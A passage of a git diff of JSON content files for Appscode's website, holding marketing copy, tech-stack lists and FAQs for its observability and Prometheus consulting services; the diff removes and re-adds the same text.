100+ enterprises globally to scale, secure, and optimize their observability ecosystems." - }, - { - "icon": "fa fa-building", - "title": "Full In-House Delivery", - "description": "Our 100% in-house engineering team ensures speed, security, and accountability—no outsourcing." - }, - { - "icon": "fa fa-handshake-o", - "title": "Open Source Advantage", - "description": "Collaborate with engineers who contribute to key CNCF and observability projects." - } - ] - }, - "seo": { - "meta_title": "Observability Consulting Services for Prometheus, Grafana & Loki | Appscode", - "meta_description": "Appscode provides enterprise-grade Observability Consulting Services for Prometheus, Grafana, and Loki. Achieve end-to-end visibility, reduce downtime, and improve reliability for your Kubernetes and cloud-native environments." - }, - "faq": [ - { - "question": "What do your Observability Consulting Services include?", - "answer": "Our Observability Consulting Services help organizations gain complete visibility into their applications and infrastructure. We cover monitoring, logging, tracing, metrics collection, alerting, and dashboards to ensure proactive detection and resolution of issues." - }, - { - "question": "Which technologies and practices are used in observability consulting?", - "answer": "We leverage tools such as Prometheus, Thanos, ClickHouse, Perses, Jaeger, OpenTelemetry, Kubernetes, and cloud-native monitoring solutions. Our approach ensures actionable insights, performance optimization, and reliable operations across complex systems." - }, - { - "question": "Can you work with our existing applications and infrastructure?", - "answer": "Yes — we integrate observability practices with your current applications, microservices, and infrastructure, implement metrics collection, configure dashboards and alerts, and provide guidance for continuous monitoring and optimization." - }, - { - "question": "What is the typical timeline and engagement model for Observability Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your monitoring and observability setup. Implementation follows in 4–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term observability advisory partnerships." - }, - { - "question": "Do Observability Consulting Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid deployments, ensuring consistent metrics, logs, traces, and alerts across AWS, Azure, GCP, and on-premises infrastructure." - }, - { - "question": "How do you ensure reliability, performance, and proactive issue detection?", - "answer": "We implement comprehensive monitoring, distributed tracing, log aggregation, alerting, and automated anomaly detection. These measures allow for rapid issue detection, root cause analysis, and proactive system reliability improvements." - }, - { - "question": "What happens after observability consulting and implementation?", - "answer": "After implementation, we provide ongoing monitoring guidance, best practices, dashboards maintenance, and continuous improvement recommendations to ensure systems remain observable and optimized." - }, - { - "question": "How much do Observability Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on system complexity, number of services, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Observability Consulting Services & Enterprise Support by Appscode", + "subtitle": "Achieve complete visibility, faster incident response, and cloud-native resilience with enterprise-grade Observability Consulting powered by Prometheus, Grafana, and Loki.", + "cta_text": "TALK TO AN OBSERVABILITY EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/observability-consulting-hero.png", + "alt": "Observability Consulting Services for Cloud-Native Systems" + } + }, + "trusted_by": { + "title": "Trusted by Leading Cloud-Native Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Observability Consulting Services", + "areas": [ + { + "icon": "fa fa-eye", + "title": "End-to-End Visibility Across Kubernetes and Cloud" + }, + { + "icon": "fa fa-bug", + "title": "Faster Incident Detection & Root-Cause Analysis" + }, + { + "icon": "fa fa-rocket", + "title": "Accelerate Deployment & Release Velocity" + }, + { + "icon": "fa fa-shield", + "title": "Reduce Downtime with Proactive Monitoring" + }, + { + "icon": "fa fa-cogs", + "title": "Improve Reliability & Operational Excellence" + }, + { + "icon": "fa fa-line-chart", + "title": "Enhance Performance with Real-Time Insights" + }, + { + "icon": "fa fa-heartbeat", + "title": "Detect & Resolve Anomalies Before Impact" + }, + { + "icon": "fa fa-database", + "title": "Optimize Infrastructure Costs & Utilization" + } + ] + }, + "service_details": { + "title": "Comprehensive Observability Consulting & Implementation", + "subtitle": "Appscode helps organizations implement observability the right way—combining monitoring, logging, and tracing into a unified, cloud-native platform for actionable insights.", + "sections": [ + { + "title": "Infrastructure Monitoring with Prometheus & Grafana", + "description": "Appscode’s observability experts design scalable monitoring architectures using Prometheus and Grafana to provide deep insights into cluster health, performance metrics, and workloads.", + "offerings": [ + "Build custom Grafana dashboards for real-time system visibility", + "Create Prometheus alerts to detect failures early", + "Enable predictive monitoring for smarter capacity planning" + ], + "image": "/assets/images/services/observability-infrastructure-monitoring.png" + }, + { + "title": "Centralized Logging with Loki, Fluentd & Elastic", + "description": "Simplify log management with Appscode’s observability consulting for Grafana Loki and Fluentd. Gain unified access to logs across applications, containers, and Kubernetes clusters.", + "offerings": [ + "Aggregate and query logs seamlessly across environments", + "Automate retention, search, and compliance for log data", + "Visualize log patterns to accelerate debugging" + ], + "image": "/assets/images/services/observability-unified-logging.png" + }, + { + "title": "Distributed Tracing with OpenTelemetry & Jaeger", + "description": "Our observability services integrate OpenTelemetry and Jaeger for full request traceability across microservices—enabling faster bottleneck detection and performance optimization.", + "offerings": [ + "Trace request lifecycles across distributed systems", + "Correlate logs, metrics, and traces for holistic observability", + "Accelerate issue resolution with deep trace analysis" + ], + "image": "/assets/images/services/observability-distributed-tracing.png" + } + ] + }, + "industries": { + "title": "Observability Consulting Services Across Industries", + "subtitle": "Appscode delivers observability solutions tailored for highly regulated and mission-critical sectors.", + "additional_text": "From fintech to healthcare, our Observability Consulting Services empower teams to achieve continuous reliability, compliance, and business agility.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Financial Services", + "description": "Ensure uptime and compliance with real-time monitoring of transactions, APIs, and core banking systems." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Empower DevOps teams with observability pipelines that support rapid releases and data-driven decisions." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Enable connected vehicle telemetry and performance monitoring with low-latency data observability solutions." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Monitor distributed assets, predict maintenance, and optimize performance using observability-driven insights." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Support HIPAA-compliant observability to ensure reliability, security, and fast response across healthcare systems." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless digital experiences with observability-driven insights for real-time booking and operational systems." + } + ] + }, + "tech_stack": { + "title": "Our Observability Tech Stack Expertise", + "subtitle": "We integrate leading open-source and enterprise tools to deliver robust, scalable observability platforms.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Make Your Cloud-Native Stack Observable", + "subtitle": "Empower teams to detect, analyze, and respond faster with a future-ready observability foundation.", + "buttons": [ + { + "text": "Talk to an Observability Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Our Observability Consulting & Support Services", + "subtitle": "AppsCode provides end-to-end observability consulting—from assessment and design to deployment and managed support.", + "items": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Observability Strategy & Roadmap", + "description": "Our consultants help you define the right mix of open-source and enterprise observability tools, tailored to your architecture and business goals." + }, + { + "icon": "fa fa-cogs", + "title": "Implementation & Integration", + "description": "Deploy, configure, and integrate monitoring, logging, and tracing tools with your DevOps workflows for end-to-end transparency." + }, + { + "icon": "fa fa-support", + "title": "Managed Observability Support", + "description": "Offload the complexity of observability management. We handle scaling, upgrades, and troubleshooting to keep your systems healthy 24/7." + } + ] + }, + "large_preview_cards": { + "title": "Appscode Expertise in Prometheus, Grafana & Loki", + "items": [ + { + "icon": "fa fa-rocket", + "title": "Prometheus Consulting & Support", + "description": "As an official Prometheus commercial partner, Appscode helps you architect, optimize, and scale your monitoring pipelines for production-grade reliability." + }, + { + "icon": "fa fa-dashboard", + "title": "Grafana Consulting & Customization", + "description": "Get tailored dashboards, data source integrations, and alert configurations designed by Grafana experts for real-time visibility." + }, + { + "icon": "fa fa-file-text", + "title": "Loki Log Management Expertise", + "description": "Build resilient log pipelines using Grafana Loki—designed for scale, cost efficiency, and unified visibility across multi-cluster Kubernetes setups." + } + ] + }, + "cards_group": { + "title": "Our Observability Enablement Process", + "subtitle": "From discovery to support, Appscode ensures smooth observability adoption aligned with your business outcomes.", + "models": [ + { + "number": "01", + "title": "Assess & Plan", + "description": "Evaluate existing systems and design an observability strategy aligned with SLAs and compliance requirements." + }, + { + "number": "02", + "title": "Design & Build", + "description": "Architect a scalable observability stack with the right mix of monitoring, logging, and tracing tools." + }, + { + "number": "03", + "title": "Deploy & Automate", + "description": "Implement automation for alerting, visualization, and incident response." + }, + { + "number": "04", + "title": "Manage & Evolve", + "description": "Get continuous support for upgrades, scaling, and optimization." + } + ] + }, + "resources": { + "title": "Cloud-Native Product Engineering Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "cards2": { + "title": "Why Appscode for Observability Consulting Services?", + "subtitle": "Partner with the cloud-native experts behind KubeDB, Stash, and Voyager—trusted by global enterprises for production-grade reliability.", + "items": [ + { + "icon": "fa fa-users", + "title": "Experienced Cloud-Native Engineers", + "description": "Work with experts who bring deep Kubernetes and observability experience." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified CNCF Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Environment Expertise", + "description": "We support observability for on-prem, hybrid, and multi-cloud infrastructures." + }, + { + "icon": "fa fa-check-circle", + "title": "Proven Enterprise Success", + "description": "Trusted by 100+ enterprises globally to scale, secure, and optimize their observability ecosystems." + }, + { + "icon": "fa fa-building", + "title": "Full In-House Delivery", + "description": "Our 100% in-house engineering team ensures speed, security, and accountability—no outsourcing." + }, + { + "icon": "fa fa-handshake-o", + "title": "Open Source Advantage", + "description": "Collaborate with engineers who contribute to key CNCF and observability projects." + } + ] + }, + "seo": { + "meta_title": "Observability Consulting Services for Prometheus, Grafana & Loki | Appscode", + "meta_description": "Appscode provides enterprise-grade Observability Consulting Services for Prometheus, Grafana, and Loki. Achieve end-to-end visibility, reduce downtime, and improve reliability for your Kubernetes and cloud-native environments." + }, + "faq": [ + { + "question": "What do your Observability Consulting Services include?", + "answer": "Our Observability Consulting Services help organizations gain complete visibility into their applications and infrastructure. We cover monitoring, logging, tracing, metrics collection, alerting, and dashboards to ensure proactive detection and resolution of issues." + }, + { + "question": "Which technologies and practices are used in observability consulting?", + "answer": "We leverage tools such as Prometheus, Thanos, ClickHouse, Perses, Jaeger, OpenTelemetry, Kubernetes, and cloud-native monitoring solutions. Our approach ensures actionable insights, performance optimization, and reliable operations across complex systems." + }, + { + "question": "Can you work with our existing applications and infrastructure?", + "answer": "Yes — we integrate observability practices with your current applications, microservices, and infrastructure, implement metrics collection, configure dashboards and alerts, and provide guidance for continuous monitoring and optimization." + }, + { + "question": "What is the typical timeline and engagement model for Observability Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your monitoring and observability setup. Implementation follows in 4–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term observability advisory partnerships." + }, + { + "question": "Do Observability Consulting Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid deployments, ensuring consistent metrics, logs, traces, and alerts across AWS, Azure, GCP, and on-premises infrastructure." + }, + { + "question": "How do you ensure reliability, performance, and proactive issue detection?", + "answer": "We implement comprehensive monitoring, distributed tracing, log aggregation, alerting, and automated anomaly detection. These measures allow for rapid issue detection, root cause analysis, and proactive system reliability improvements." + }, + { + "question": "What happens after observability consulting and implementation?", + "answer": "After implementation, we provide ongoing monitoring guidance, best practices, dashboards maintenance, and continuous improvement recommendations to ensure systems remain observable and optimized." + }, + { + "question": "How much do Observability Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on system complexity, number of services, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/observability-devsecops/prometheus_monitoring_support.json b/data/services/observability-devsecops/prometheus_monitoring_support.json index 164332cf48..3c795231bf 100644 --- a/data/services/observability-devsecops/prometheus_monitoring_support.json +++ b/data/services/observability-devsecops/prometheus_monitoring_support.json @@ -1,305 +1,305 @@ -{ - "hero": { - "title": "Prometheus Consulting Services & Enterprise Support by Appscode", - "subtitle": "Leverage Prometheus consulting, deployment, and optimization services to achieve enterprise-grade observability and monitoring for your cloud-native infrastructure.", - "cta_text": "TALK TO A PROMETHEUS EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/prometheus-monitoring-support.png", - "alt": "Prometheus Consulting and Implementation Services by Appscode" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises and Cloud-Native Innovators" - }, - "title_with_small_cards": { - "title": "Why Choose Prometheus Consulting Services?", - "areas": [ - { - "icon": "fa fa-eye", - "title": "All-in-One Monitoring and Observability Solution" - }, - { - "icon": "fa fa-dashboard", - "title": "Prevent and Detect Critical Incidents Early" - }, - { - "icon": "fa fa-tachometer", - "title": "Build a Scalable Observability Stack with Ease" - }, - { - "icon": "fa fa-file-text", - "title": "Gain Complete Metrics Visibility and Control" - }, - { - "icon": "fa fa-cogs", - "title": "Integrate Prometheus with Leading Tools Seamlessly" - }, - { - "icon": "fa fa-plug", - "title": "Commercial Support, Training, and Ongoing Optimization" - } - ] - }, - "service_details": { - "title": "Our Prometheus Consulting & Implementation Capabilities", - "subtitle": "Accelerate your observability journey with expert Prometheus consulting, deployment, and support from Appscode.", - "sections": [ - { - "title": "Prometheus Consulting & Production Implementation", - "description": "Appscode’s Prometheus experts analyze your infrastructure, workloads, and application framework to design and deploy an optimized Prometheus setup following cloud-native and DevOps best practices.", - "offerings": [ - "Comprehensive system and metric requirement analysis for tailored Prometheus implementation.", - "Instrumentation of your codebase to expose application and infrastructure metrics.", - "Optimized labeling and structuring of metrics for performance and production readiness." - ], - "image": "/assets/images/services/prometheus-consulting-implementation.png" - }, - { - "title": "Incident Management with Prometheus Alertmanager", - "description": "Enable real-time monitoring, proactive alerting, and automated incident response using Prometheus and Alertmanager integration.", - "offerings": [ - "Setup and configuration of Prometheus Alertmanager for intelligent incident tracking.", - "Custom alert rules and thresholds based on business-critical metrics.", - "Integration with Slack, PagerDuty, and other notification systems.", - "Exporters setup for deeper post-mortem and root-cause analysis." - ], - "image": "/assets/images/services/prometheus-incident-management.png" - }, - { - "title": "Prometheus Data Modeling & PromQL Query Optimization", - "description": "Our consultants ensure your Prometheus metrics deliver actionable insights through efficient data modeling and query optimization.", - "offerings": [ - "Designing effective metric models and labels for simplified analysis.", - "Optimizing PromQL queries to extract key performance indicators.", - "Developing reusable dashboards and templates for ongoing insights." - ], - "image": "/assets/images/services/prometheus-data-modeling-querying.png" - }, - { - "title": "Integration with Grafana, Loki & Third-Party Tools", - "description": "Extend Prometheus capabilities by integrating with popular observability and automation tools.", - "offerings": [ - "Grafana dashboard setup for visualizing Prometheus metrics and trends.", - "Loki integration for centralized logging and observability.", - "Alertmanager connections with PagerDuty and Opsgenie for automated responses.", - "KEDA configuration for event-driven auto-scaling using Prometheus metrics." - ], - "image": "/assets/images/services/prometheus-third-party-integration.png" - }, - { - "title": "Prometheus Commercial Support & Training", - "description": "As an official Prometheus commercial support provider, Appscode delivers end-to-end guidance, troubleshooting, and knowledge transfer.", - "offerings": [ - "Hands-on training to strengthen your in-house Prometheus skills.", - "Comprehensive support for deployment, scaling, and troubleshooting.", - "Ongoing consulting to optimize performance and reduce mean time to recovery (MTTR)." - ], - "image": "/assets/images/services/prometheus-commercial-support-training.png" - } - ] - }, - "industries": { - "title": "Industry-Specific Prometheus Observability Expertise", - "subtitle": "Appscode’s Prometheus consulting services power reliability, compliance, and performance across industries.", - "additional_text": "Whether you’re a fast-scaling SaaS or a global enterprise, we tailor Prometheus monitoring solutions to fit your infrastructure and business needs.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for handling transactions and payments 24/7." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Integrate AI within your SaaS while we manage performance-critical infrastructure." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Keep up with AI and ML-driven customer expectations and technology integrations." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Streamline inspections, monitor resources, visualize data, and reduce operational costs." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data quickly using cloud infrastructure for real-time insights." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable, cost-effective systems." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Serving 100+ customers, our engineers have expertise across cloud-native and security tools.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Looking for Prometheus Commercial Support?", - "subtitle": "Consult our experts for an all-in-one solution from consulting and implementation to enterprise-grade 3rd party support.", - "buttons": [ - { - "text": "Consult a Prometheus Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Appscode for Prometheus Consulting & Support?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Delivering best practices from 100+ client implementations." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training", - "description": "Hands-on training to build practical Prometheus expertise." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Teams", - "description": "Easily expand your team without hiring or training overhead." - } - ] - }, - "faq": [ - { - "question": "What do your Prometheus Consulting Services include?", - "answer": "Our Prometheus Consulting Services help organizations implement, configure, and optimize Prometheus for monitoring cloud-native applications and infrastructure. We cover metrics collection, alerting, query optimization, and integration with visualization tools like Grafana." - }, - { - "question": "Which technologies and practices are used in Prometheus consulting?", - "answer": "We leverage Prometheus, Alertmanager, Grafana, Kubernetes, OpenTelemetry, and cloud-native monitoring tools. Our approach ensures reliable metrics collection, accurate alerting, performance monitoring, and actionable insights across complex systems." - }, - { - "question": "Can you work with our existing monitoring infrastructure?", - "answer": "Yes — we integrate Prometheus with your current monitoring setup, optimize scraping intervals, configure alerts, set up Grafana dashboards, and provide guidance for continuous monitoring and observability improvement." - }, - { - "question": "What is the typical timeline and engagement model for Prometheus Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your observability and monitoring architecture. Implementation follows in 2–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Prometheus advisory partnerships." - }, - { - "question": "Do Prometheus Consulting Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent metrics collection, alerting, and dashboards across AWS, Azure, GCP, and on-premises systems." - }, - { - "question": "How do you ensure reliability, scalability, and actionable monitoring with Prometheus?", - "answer": "We implement best practices for metric naming, retention policies, alerting rules, federation, and integration with visualization tools. These measures ensure reliable, scalable, and actionable monitoring of cloud-native workloads." - }, - { - "question": "What happens after Prometheus consulting and implementation?", - "answer": "After implementation, we provide ongoing support, monitoring guidance, dashboard maintenance, and recommendations for continuous improvement to ensure your Prometheus setup remains effective and up-to-date." - }, - { - "question": "How much do Prometheus Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on system complexity, number of metrics, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Prometheus Consulting Services & Enterprise Support by Appscode", + "subtitle": "Leverage Prometheus consulting, deployment, and optimization services to achieve enterprise-grade observability and monitoring for your cloud-native infrastructure.", + "cta_text": "TALK TO A PROMETHEUS EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/prometheus-monitoring-support.png", + "alt": "Prometheus Consulting and Implementation Services by Appscode" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises and Cloud-Native Innovators" + }, + "title_with_small_cards": { + "title": "Why Choose Prometheus Consulting Services?", + "areas": [ + { + "icon": "fa fa-eye", + "title": "All-in-One Monitoring and Observability Solution" + }, + { + "icon": "fa fa-dashboard", + "title": "Prevent and Detect Critical Incidents Early" + }, + { + "icon": "fa fa-tachometer", + "title": "Build a Scalable Observability Stack with Ease" + }, + { + "icon": "fa fa-file-text", + "title": "Gain Complete Metrics Visibility and Control" + }, + { + "icon": "fa fa-cogs", + "title": "Integrate Prometheus with Leading Tools Seamlessly" + }, + { + "icon": "fa fa-plug", + "title": "Commercial Support, Training, and Ongoing Optimization" + } + ] + }, + "service_details": { + "title": "Our Prometheus Consulting & Implementation Capabilities", + "subtitle": "Accelerate your observability journey with expert Prometheus consulting, deployment, and support from Appscode.", + "sections": [ + { + "title": "Prometheus Consulting & Production Implementation", + "description": "Appscode’s Prometheus experts analyze your infrastructure, workloads, and application framework to design and deploy an optimized Prometheus setup following cloud-native and DevOps best practices.", + "offerings": [ + "Comprehensive system and metric requirement analysis for tailored Prometheus implementation.", + "Instrumentation of your codebase to expose application and infrastructure metrics.", + "Optimized labeling and structuring of metrics for performance and production readiness." + ], + "image": "/assets/images/services/prometheus-consulting-implementation.png" + }, + { + "title": "Incident Management with Prometheus Alertmanager", + "description": "Enable real-time monitoring, proactive alerting, and automated incident response using Prometheus and Alertmanager integration.", + "offerings": [ + "Setup and configuration of Prometheus Alertmanager for intelligent incident tracking.", + "Custom alert rules and thresholds based on business-critical metrics.", + "Integration with Slack, PagerDuty, and other notification systems.", + "Exporters setup for deeper post-mortem and root-cause analysis." + ], + "image": "/assets/images/services/prometheus-incident-management.png" + }, + { + "title": "Prometheus Data Modeling & PromQL Query Optimization", + "description": "Our consultants ensure your Prometheus metrics deliver actionable insights through efficient data modeling and query optimization.", + "offerings": [ + "Designing effective metric models and labels for simplified analysis.", + "Optimizing PromQL queries to extract key performance indicators.", + "Developing reusable dashboards and templates for ongoing insights." + ], + "image": "/assets/images/services/prometheus-data-modeling-querying.png" + }, + { + "title": "Integration with Grafana, Loki & Third-Party Tools", + "description": "Extend Prometheus capabilities by integrating with popular observability and automation tools.", + "offerings": [ + "Grafana dashboard setup for visualizing Prometheus metrics and trends.", + "Loki integration for centralized logging and observability.", + "Alertmanager connections with PagerDuty and Opsgenie for automated responses.", + "KEDA configuration for event-driven auto-scaling using Prometheus metrics." + ], + "image": "/assets/images/services/prometheus-third-party-integration.png" + }, + { + "title": "Prometheus Commercial Support & Training", + "description": "As an official Prometheus commercial support provider, Appscode delivers end-to-end guidance, troubleshooting, and knowledge transfer.", + "offerings": [ + "Hands-on training to strengthen your in-house Prometheus skills.", + "Comprehensive support for deployment, scaling, and troubleshooting.", + "Ongoing consulting to optimize performance and reduce mean time to recovery (MTTR)." + ], + "image": "/assets/images/services/prometheus-commercial-support-training.png" + } + ] + }, + "industries": { + "title": "Industry-Specific Prometheus Observability Expertise", + "subtitle": "Appscode’s Prometheus consulting services power reliability, compliance, and performance across industries.", + "additional_text": "Whether you’re a fast-scaling SaaS or a global enterprise, we tailor Prometheus monitoring solutions to fit your infrastructure and business needs.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for handling transactions and payments 24/7." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Integrate AI within your SaaS while we manage performance-critical infrastructure." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Keep up with AI and ML-driven customer expectations and technology integrations." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Streamline inspections, monitor resources, visualize data, and reduce operational costs." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data quickly using cloud infrastructure for real-time insights." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable, cost-effective systems." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Serving 100+ customers, our engineers have expertise across cloud-native and security tools.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + 